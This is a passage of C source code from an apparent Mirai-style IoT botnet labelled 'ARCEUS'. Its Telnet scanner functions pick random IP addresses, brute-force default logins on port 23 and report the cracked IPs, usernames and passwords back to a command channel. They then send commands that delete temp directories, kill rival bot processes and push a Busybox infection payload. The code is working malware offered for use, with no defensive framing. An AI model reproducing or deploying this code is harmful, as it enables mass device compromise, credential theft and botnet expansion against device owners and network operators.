  3418. else {
  3419. fds[i].state = 1;
  3420. fds[i].tTimeout = 0;
  3421. }
  3422. }
  3423. break;
  3424. case 1: {
  3425. FD_ZERO(&fdset);
  3426. FD_SET(fds[i].fd, &fdset);
  3427. tv.tv_sec = 0;
  3428. tv.tv_usec = 10000;
  3429. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  3430. if(res == 1) {
  3431. lon = sizeof(int);
  3432. valopt = 0;
  3433. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  3434. if(valopt) {
  3435. sclose(fds[i].fd);
  3436. fds[i].state = 0;
  3437. fds[i].complete = 1;
  3438. } else {
  3439. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  3440. fds[i].tTimeout = 0;
  3441. fds[i].bufUsed = 0;
  3442. memset(fds[i].sockbuf, 0, 312);
  3443. fds[i].state = 2;
  3444. } continue; }
  3445. else if(res == -1) {
  3446. sclose(fds[i].fd);
  3447. fds[i].state = 0;
  3448. fds[i].complete = 1;
  3449. continue; }
  3450. if(fds[i].tTimeout + 6 < time(NULL)) {
  3451. sclose(fds[i].fd);
  3452. fds[i].state = 0;
  3453. fds[i].complete = 1;
  3454. }
  3455. }
  3456. break;
  3457. case 2: {
  3458. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 312, phone)) {
  3459. if(contains_fail(fds[i].sockbuf)) {
  3460. fds[i].state = 0;
  3461. } else {
  3462. fds[i].state = 3; }
  3463. continue; }
  3464. if(fds[i].tTimeout + 6 < time(NULL)) {
  3465. fds[i].state = 0;
  3466. fds[i].complete = 1;
  3467. }
  3468. }
  3469. break;
  3470. case 3: {
  3471. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  3472. fds[i].state = 0;
  3473. fds[i].complete = 1;
  3474. continue; }
  3475. fds[i].state = 4;
  3476. }
  3477. break;
  3478. case 4: {
  3479. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 312, phone)) {
  3480. if(contains_fail(fds[i].sockbuf)) {
  3481. fds[i].state = 0;
  3482. } else {
  3483. fds[i].state = 5; }
  3484. continue; }
  3485. if(fds[i].tTimeout + 6 < time(NULL)) {
  3486. fds[i].state = 0;
  3487. fds[i].complete = 1;
  3488. }
  3489. }
  3490. break;
  3491. case 5: {
  3492. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  3493. fds[i].state = 0;
  3494. fds[i].complete = 1;
  3495. continue; }
  3496. fds[i].state = 6; }
  3497. break;
  3498. case 6: {
  3499. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 312, advances2)) {
  3500. fds[i].tTimeout = time(NULL);
  3501. if (contains_fail(fds[i].sockbuf)) {
  3502. fds[i].state = 0;
  3503. } else {
  3504. sockprintf(mainCommSock, "[ARCEUS] Successfully Bruted. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3505.                                 sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3506.                                 fds[i].state = 7;
  3507. } continue; }
  3508. if (fds[i].tTimeout + 7 < time(NULL)) {
  3509. fds[i].state = 0;
  3510. fds[i].complete = 1;
  3511. }
  3512. }
  3513. break;
  3514. case 7: {      
  3515.                 RemoveTempDirs();
  3516.                 //sockprintf(mainCommSock, "[ BCM ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3517.                 //sockprintf(mainCommSock, "[ BCM ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3518.                
  3519. fds[i].tTimeout = time(NULL);
  3520. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  3521. sclose(fds[i].fd);
  3522. fds[i].state = 0;
  3523. fds[i].complete = 1;
  3524. continue; }
  3525. fds[i].complete = 3;
  3526. if(fds[i].tTimeout + 60 < time(NULL)) {
  3527. if(fds[i].complete !=3){
  3528. }
  3529. fds[i].state = 0;
  3530. fds[i].complete = 1;
  3531. }
  3532. break;
  3533. }
  3534. }
  3535. }
  3536. }
  3537. }
  3538. void TelnetScanner(int wait_usec, int maxfds){
  3539.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  3540.         char buf[128], cur_dir;
  3541.         if (max > maxfds)
  3542.                 max = maxfds;
  3543.         fd_set fdset;
  3544.         struct timeval tv;
  3545.         socklen_t lon;
  3546.         int valopt;
  3547.         char line[256];
  3548.         char* buffer;
  3549.         struct sockaddr_in dest_addr;
  3550.         dest_addr.sin_family = AF_INET;
  3551.         dest_addr.sin_port = htons(23);
  3552.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3553.         buffer = malloc(SOCKBUF_SIZE + 1);
  3554.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  3555.         struct telstate_t fds[max];
  3556.         memset(fds, 0, max * (sizeof(int) + 1));
  3557.         for(i = 0; i < max; i++)
  3558.         {
  3559.             memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3560.             fds[i].complete = 1;
  3561.             fds[i].sockbuf = buffer;
  3562.         }
  3563.         while(1) {
  3564.                 for(i = 0; i < max; i++) {
  3565.                         if(fds[i].tTimeout == 0) {
  3566.                                 fds[i].tTimeout = time(NULL);
  3567.                         }
  3568.                         switch(fds[i].state) {
  3569.             case 0:
  3570.                 {
  3571.                     if(fds[i].complete == 1)
  3572.                     {
  3573.                         char *tmp = fds[i].sockbuf;
  3574.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3575.                         fds[i].sockbuf = tmp;
  3576.                         fds[i].ip = telnetfindARandomIP();
  3577.                     }
  3578.                     else if(fds[i].complete == 0)
  3579.                     {
  3580.                         fds[i].usernameInd++;
  3581.                         fds[i].passwordInd++;
  3582.                         if(fds[i].passwordInd == sizeof(Telnet_Passwords) / sizeof(char *))
  3583.                         {
  3584.                             fds[i].complete = 1;
  3585.                             continue;
  3586.                         }
  3587.                         if(fds[i].usernameInd == sizeof(Telnet_Usernames) / sizeof(char *))
  3588.                         {
  3589.                             fds[i].complete = 1;
  3590.                             continue;
  3591.                         }
  3592.                     }
  3593.                     dest_addr.sin_family = AF_INET;
  3594.                     dest_addr.sin_port = htons(23);
  3595.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3596.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  3597.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  3598.                     if(fds[i].fd == -1) continue;
  3599.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  3600.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  3601.                     {
  3602.                         reset_telstate(&fds[i]);
  3603.                     }
  3604.                     else
  3605.                     {
  3606.                         advance_telstate(&fds[i], 1);
  3607.                     }
  3608.                 }
  3609.                 break;
  3610.             case 1:
  3611.                 {
  3612.                     FD_ZERO(&fdset);
  3613.                     FD_SET(fds[i].fd, &fdset);
  3614.                     tv.tv_sec = 0;
  3615.                     tv.tv_usec = wait_usec;
  3616.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  3617.                     if(res == 1) {
  3618.                         fds[i].tTimeout = 0;
  3619.                         lon = sizeof(int);
  3620.                         valopt = 0;
  3621.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  3622.                         if(valopt)
  3623.                         {
  3624.                             reset_telstate(&fds[i]);
  3625.                         }
  3626.                         else
  3627.                         {
  3628.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  3629.                             advance_telstate(&fds[i], 2);
  3630.                         }
  3631.                         continue;
  3632.                     }
  3633.                     else if(res == -1)
  3634.                     {
  3635.                         reset_telstate(&fds[i]);
  3636.                         continue;
  3637.                     }
  3638.                     if(fds[i].tTimeout + 7 < time(NULL))
  3639.                     {
  3640.                         reset_telstate(&fds[i]);
  3641.                     }
  3642.                 }
  3643.                 break;
  3644.             case 2:
  3645.                 {
  3646.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  3647.                     {
  3648.                         fds[i].tTimeout = time(NULL);
  3649.                         if(contains_fail(fds[i].sockbuf))
  3650.                         {
  3651.                             advance_telstate(&fds[i], 0);
  3652.                         }
  3653.                         else
  3654.                         {
  3655.                             advance_telstate(&fds[i], 3);
  3656.                         }
  3657.                         continue;
  3658.                     }
  3659.                     if(fds[i].tTimeout + 7 < time(NULL))
  3660.                     {
  3661.                         reset_telstate(&fds[i]);
  3662.                     }
  3663.                 }
  3664.                 break;
  3665.             case 3:
  3666.                 {
  3667.                     if(send(fds[i].fd, Telnet_Usernames[fds[i].usernameInd], strlen(Telnet_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  3668.                     {
  3669.                         reset_telstate(&fds[i]);
  3670.                         continue;
  3671.                     }
  3672.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  3673.                     {
  3674.                         reset_telstate(&fds[i]);
  3675.                         continue;
  3676.                     }
  3677.                     advance_telstate(&fds[i], 4);
  3678.                 }
  3679.                 break;
  3680.             case 4:
  3681.                 {
  3682.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  3683.                     {
  3684.                         fds[i].tTimeout = time(NULL);
  3685.                         if(contains_fail(fds[i].sockbuf))
  3686.                         {
  3687.                             advance_telstate(&fds[i], 0);
  3688.                         }
  3689.                         else
  3690.                         {
  3691.                             advance_telstate(&fds[i], 5);
  3692.                         }
  3693.                         continue;
  3694.                     }
  3695.                     if(fds[i].tTimeout + 7 < time(NULL))
  3696.                     {
  3697.                         reset_telstate(&fds[i]);
  3698.                     }
  3699.                 }
  3700.                 break;                             
  3701.             case 5:
  3702.                 {
  3703.                     if(send(fds[i].fd, Telnet_Passwords[fds[i].passwordInd], strlen(Telnet_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  3704.                     {
  3705.                         reset_telstate(&fds[i]);
  3706.                         continue;
  3707.                     }
  3708.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  3709.                     {
  3710.                         reset_telstate(&fds[i]);
  3711.                         continue;
  3712.                     }
  3713.                     advance_telstate(&fds[i], 6);
  3714.                 }
  3715.                 break;                                 
  3716.             case 6:
  3717.                 {
  3718.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  3719.                     {
  3720.                         fds[i].tTimeout = time(NULL);
  3721.                         if(contains_fail(fds[i].sockbuf))
  3722.                         {
  3723.                             advance_telstate(&fds[i], 0);
  3724.                         }
  3725.                         else if(contains_success(fds[i].sockbuf))
  3726.                         {
  3727.                             if(fds[i].complete == 2)
  3728.                             {
  3729.                                 advance_telstate(&fds[i], 7);
  3730.                             }
  3731.                             else
  3732.                             {
  3733.                                 sockprintf(mainCommSock, "\x1b[0;31m[ARCEUS] Successfully Bruted IP: \x1b[0;33m%s\x1b[0;31m Port: \x1b[0;33m23 \x1b[0;31mUsername: \x1b[0;33m%s \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0;37m", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3734.                                 sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3735.                                 advance_telstate(&fds[i], 7);
  3736.                             }
  3737.                         }
  3738.                         else
  3739.                         {
  3740.                             reset_telstate(&fds[i]);
  3741.                         }
  3742.                         continue;
  3743.                     }
  3744.                     if(fds[i].tTimeout + 7 < time(NULL))
  3745.                     {
  3746.                         reset_telstate(&fds[i]);
  3747.                     }
  3748.                 }
  3749.                 break;
  3750.             case 7:
  3751.             {
  3752.                 char RemoveTheTempDirs [80];
  3753.                 sprintf(RemoveTheTempDirs, "rm -rf %s;", Temp_Directorys);
  3754.                 if(send(fds[i].fd, RemoveTheTempDirs, strlen(RemoveTheTempDirs), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  3755.                 RemoveTempDirs();
  3756.                 //sockprintf(mainCommSock, "[ TELNET ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3757.                 char killtheproccesses[80];
  3758.                 sprintf(killtheproccesses, "pkill -9 %s;killall -9 %s;", Bot_Killer_Binarys, Bot_Killer_Binarys);
  3759.                 if(send(fds[i].fd, killtheproccesses, strlen(killtheproccesses), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  3760.                 //sockprintf(mainCommSock, "[ TELNET ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3761.                 advance_telstate(&fds[i], 8);
  3762.             }
  3763.             break;
  3764.             case 8:
  3765.                 {
  3766.                         fds[i].tTimeout = time(NULL);
  3767.                         if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0);
  3768.                         if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  3769.                         if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  3770.                         //sockprintf(mainCommSock, "[ TELNET ] Sending Infection Payload. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3771.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "CONNECTED"))
  3772.                         {
  3773.                             if(strcasestr(fds[i].sockbuf, "CONNECTED") && fds[i].complete != 3)
  3774.                             {
  3775.                                 //sockprintf(mainCommSock, "[ TELNET ] Infection Success. || IP: %s: || Port: 23 || Username: %s || Password: %s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3776.                                 fds[i].complete = 3;
  3777.                             }
  3778.                         }
  3779.                         if(fds[i].tTimeout + 10 < time(NULL))
  3780.                         {
  3781.                             if(fds[i].complete!=3)
  3782.                             {
  3783.                                 //sockprintf(mainCommSock, "[ TELNET ] Infection Failed. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3784.                             }
  3785.                             reset_telstate(&fds[i]);
  3786.                         }
  3787.                         break;
  3788.                 }
  3789.             }
  3790.         }
  3791.     }              
  3792. }
  3793. void MiraiScanner(int wait_usec, int maxfds){
  3794.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  3795.         char buf[128], cur_dir;
  3796.         if (max > maxfds)
  3797.                 max = maxfds;
  3798.         fd_set fdset;
  3799.         struct timeval tv;
  3800.         socklen_t lon;
  3801.         int valopt;
  3802.         char line[256];
  3803.         char* buffer;
  3804.         struct sockaddr_in dest_addr;
  3805.         dest_addr.sin_family = AF_INET;
  3806.         dest_addr.sin_port = htons(23);
  3807.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3808.         buffer = malloc(SOCKBUF_SIZE + 1);
  3809.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  3810.         struct telstate_t fds[max];
  3811.         memset(fds, 0, max * (sizeof(int) + 1));
  3812.         for(i = 0; i < max; i++) {
  3813.                 memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3814.                 fds[i].complete = 1;
  3815.                 fds[i].sockbuf = buffer;
  3816.         }
  3817.         while(1) {
  3818.                 for(i = 0; i < max; i++) {
  3819.                         if(fds[i].tTimeout == 0) {
  3820.                                 fds[i].tTimeout = time(NULL);
  3821.                         }
  3822.                         switch(fds[i].state) {
  3823.             case 0:
  3824.                 {
  3825.                     if(fds[i].complete == 1)
  3826.                     {
  3827.                         char *tmp = fds[i].sockbuf;
  3828.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3829.                         fds[i].sockbuf = tmp;
  3830.                         fds[i].ip = miraifindARandomIP();
  3831.                     }
  3832.                     else if(fds[i].complete == 0)
  3833.                     {
  3834.                         fds[i].usernameInd++;
  3835.                         fds[i].passwordInd++;
  3836.                         if(fds[i].passwordInd == sizeof(Mirai_Passwords) / sizeof(char *))
  3837.                         {
  3838.                             fds[i].complete = 1;
  3839.                         }
  3840.                         if(fds[i].usernameInd == sizeof(Mirai_Usernames) / sizeof(char *))
  3841.                         {
  3842.                             fds[i].complete = 1;
  3843.                             continue;
  3844.                         }
  3845.                     }
  3846.                     dest_addr.sin_family = AF_INET;
  3847.                     dest_addr.sin_port = htons(23);
  3848.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3849.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  3850.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  3851.                     if(fds[i].fd == -1) continue;
  3852.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  3853.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  3854.                     {
  3855.                         reset_telstate(&fds[i]);
  3856.                     }
  3857.                     else
  3858.                     {
  3859.                         advance_telstate(&fds[i], 1);
  3860.                     }
  3861.                 }
  3862.                 break;
  3863.             case 1:
  3864.                 {
  3865.                     FD_ZERO(&fdset);
  3866.                     FD_SET(fds[i].fd, &fdset);
  3867.                     tv.tv_sec = 0;
  3868.                     tv.tv_usec = wait_usec;
  3869.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  3870.                     if(res == 1)
  3871.                     {
  3872.                         fds[i].tTimeout = time(NULL);
  3873.                         lon = sizeof(int);
  3874.                         valopt = 0;
  3875.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  3876.                         if(valopt)
  3877.                         {
  3878.                             reset_telstate(&fds[i]);
  3879.                         }
  3880.                         else
  3881.                         {
  3882.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  3883.                             advance_telstate(&fds[i], 2);
  3884.                         }
  3885.                         continue;
  3886.                     }
  3887.                     else if(res == -1)
  3888.                     {
  3889.                         reset_telstate(&fds[i]);
  3890.                         continue;
  3891.                     }
  3892.                     if(fds[i].tTimeout + 7 < time(NULL))
  3893.                     {
  3894.                         reset_telstate(&fds[i]);
  3895.                     }
  3896.                 }
  3897.                 break;
  3898.             case 2:
  3899.                 {
  3900.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  3901.                     {
  3902.                         fds[i].tTimeout = time(NULL);
  3903.                         if(contains_fail(fds[i].sockbuf))
  3904.                         {
  3905.                             advance_telstate(&fds[i], 0);
  3906.                         }
  3907.                         else
  3908.                         {
  3909.                             advance_telstate(&fds[i], 3);
  3910.                         }
  3911.                         continue;
  3912.                     }
  3913.                     if(fds[i].tTimeout + 7 < time(NULL))
  3914.                     {
  3915.                         reset_telstate(&fds[i]);
  3916.                     }
  3917.                 }
  3918.                 break;
  3919.             case 3:
  3920.                 {
  3921.                     if(send(fds[i].fd, Mirai_Usernames[fds[i].usernameInd], strlen(Mirai_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  3922.                     {
  3923.                         reset_telstate(&fds[i]);
  3924.                         continue;
  3925.                     }
  3926.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  3927.                     {
  3928.                         reset_telstate(&fds[i]);
  3929.                         continue;
  3930.                     }
  3931.                     advance_telstate(&fds[i], 4);
  3932.                 }
  3933.                 break;
  3934.             case 4:
  3935.                 {
  3936.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  3937.                     {
  3938.                         fds[i].tTimeout = time(NULL);
  3939.                         if(contains_fail(fds[i].sockbuf))
  3940.                         {
  3941.                             advance_telstate(&fds[i], 0);
  3942.                         }
  3943.                         else
  3944.                         {
  3945.                             advance_telstate(&fds[i], 5);
  3946.                         }
  3947.                         continue;
  3948.                     }
  3949.                     if(fds[i].tTimeout + 7 < time(NULL))
  3950.                     {
  3951.                         reset_telstate(&fds[i]);
  3952.                     }
  3953.                 }
  3954.                 break;                             
  3955.             case 5:
  3956.                 {
  3957.                     if(send(fds[i].fd, Mirai_Passwords[fds[i].passwordInd], strlen(Mirai_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  3958.                     {
  3959.                         reset_telstate(&fds[i]);
  3960.                         continue;
  3961.                     }
  3962.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  3963.                     {
  3964.                         reset_telstate(&fds[i]);
  3965.                         continue;
  3966.                     }
  3967.                     advance_telstate(&fds[i], 6);
  3968.                 }
  3969.                 break;                                 
  3970.             case 6:
  3971.                 {
  3972.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2)) //waiting for response.
  3973.                     {
  3974.                         fds[i].tTimeout = time(NULL);
  3975.                         if(contains_fail(fds[i].sockbuf))
  3976.                         {
  3977.                             advance_telstate(&fds[i], 0);
  3978.                         }
  3979.                         else if(contains_success(fds[i].sockbuf))
  3980.                         {
  3981.                             if(fds[i].complete == 2)
  3982.                             {
  3983.                                 advance_telstate(&fds[i], 7);
  3984.                             }
  3985.                             else
  3986.                             {
  3987.                                 sockprintf(mainCommSock, "\x1b[0;31m[ARCEUS] Successfully Bruted IP: \x1b[0;33m%s\x1b[0;31m Port: \x1b[0;33m23 \x1b[0;31mUsername: \x1b[0;33m%s \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0;37m", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3988.                                 sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3989.                                 advance_telstate(&fds[i], 7);
  3990.                             }
  3991.                         }
  3992.                         else
  3993.                         {
  3994.                             reset_telstate(&fds[i]);
  3995.                         }
  3996.                         continue;
  3997.                     }
  3998.                     if(fds[i].tTimeout + 7 < time(NULL))
  3999.                     {
  4000.                         reset_telstate(&fds[i]);
  4001.                     }
  4002.                 }
  4003.                 break;
  4004.             case 7:
  4005.                 {
  4006.                 char RemoveTheTempDirs [80];
  4007.                 sprintf(RemoveTheTempDirs, "rm -rf %s;", Temp_Directorys);
  4008.                 if(send(fds[i].fd, RemoveTheTempDirs, strlen(RemoveTheTempDirs), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  4009.                 RemoveTempDirs();
  4010.                 //sockprintf(mainCommSock, "[ MIRAI ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4011.                 char killtheproccesses[80];
  4012.                 sprintf(killtheproccesses, "pkill -9 %s;killall -9 %s;", Bot_Killer_Binarys, Bot_Killer_Binarys);
  4013.                 if(send(fds[i].fd, killtheproccesses, strlen(killtheproccesses), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  4014.                 //sockprintf(mainCommSock, "[ MIRAI ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4015.                 advance_telstate(&fds[i], 8);
  4016.                 }
  4017.                 break;
  4018.             case 8:
  4019.             {      
  4020.                         fds[i].tTimeout = time(NULL);
  4021.                         if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0);
  4022.                         if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  4023.                         if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  4024.                         //sockprintf(mainCommSock, "[ MIRAI ] Sending Infection Payload. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  4025.                         //int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  4026.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "connected"))
  4027.                         {
  4028.                             //char  strcasestr (const char *big, const char *little)
  4029.                             if(strcasestr(fds[i].sockbuf, "CONNECTED") && fds[i].complete != 3)
  4030.                             {
  4031.                                 //sockprintf(mainCommSock, "[ MIRAI ] Infection Success. || IP: %s: || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  4032.                             }
  4033.                         }
  4034.                         if(fds[i].tTimeout + 60 < time(NULL))
  4035.                         {  
  4036.                             if(fds[i].complete!=3)
  4037.                             {
  4038.                                 //sockprintf(mainCommSock, "[ MIRAI ] Infection Failed. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  4039.                             }
  4040.                             reset_telstate(&fds[i]);
  4041.                         }
  4042.                 break;
  4043.                 }
  4044.             }
  4045.         }
  4046.     }              
  4047. }
  4048. void PhoneScanner() {
  4049. int maxfds = 253, i, res, j, valopt;
  4050. int max = maxfds;
  4051. char buf[128], cur_dir;
  4052. fd_set fdset;
  4053. struct timeval tv;
  4054. socklen_t lon;
  4055. srand(time(NULL) ^ rand_cmwc());
  4056. char line[253];
  4057. char* buffer;
  4058. struct sockaddr_in dest_addr;
  4059. dest_addr.sin_family = AF_INET;
  4060. dest_addr.sin_port = htons(23);
  4061. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4062. buffer = malloc(253 + 1);
  4063. memset(buffer, 0, 253 + 1);
  4064. struct telstate_t fds[max];
  4065. memset(fds, 0, max * (sizeof(int) + 1));
  4066. for(i = 0; i < max; i++) {
  4067. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4068. fds[i].complete = 1;
  4069. fds[i].sockbuf = buffer; }
  4070. while(1) {
  4071. for(i = 0; i < max; i++) {
  4072. if(fds[i].tTimeout == 0) {
  4073. fds[i].tTimeout = time(NULL); }
  4074. switch(fds[i].state) {
  4075. case 0: {
  4076. if(fds[i].complete == 1) {
  4077. char *tmp = fds[i].sockbuf;
  4078. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4079. fds[i].sockbuf = tmp;
  4080. fds[i].ip = PhoneScan(); }
  4081. dest_addr.sin_family = AF_INET;
  4082. dest_addr.sin_port = htons(23);
  4083. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4084. dest_addr.sin_addr.s_addr = fds[i].ip;
  4085. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  4086. if(fds[i].fd == -1) continue;
  4087. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  4088. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  4089. sclose(fds[i].fd);
  4090. fds[i].complete = 1; }
  4091. else {
  4092. fds[i].state = 1;
  4093. fds[i].tTimeout = 0;
  4094. }
  4095. }
  4096. break;
  4097. case 1: {
  4098. FD_ZERO(&fdset);
  4099. FD_SET(fds[i].fd, &fdset);
  4100. tv.tv_sec = 0;
  4101. tv.tv_usec = 10000;
  4102. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  4103. if(res == 1) {
  4104. lon = sizeof(int);
  4105. valopt = 0;
  4106. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  4107. if(valopt) {
  4108. sclose(fds[i].fd);
  4109. fds[i].state = 0;
  4110. fds[i].complete = 1;
  4111. } else {
  4112. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  4113. fds[i].tTimeout = 0;
  4114. fds[i].bufUsed = 0;
  4115. memset(fds[i].sockbuf, 0, 253);
  4116. fds[i].state = 2;
  4117. } continue; }
  4118. else if(res == -1) {
  4119. sclose(fds[i].fd);
  4120. fds[i].state = 0;
  4121. fds[i].complete = 1;
  4122. continue; }
  4123. if(fds[i].tTimeout + 6 < time(NULL)) {
  4124. sclose(fds[i].fd);
  4125. fds[i].state = 0;
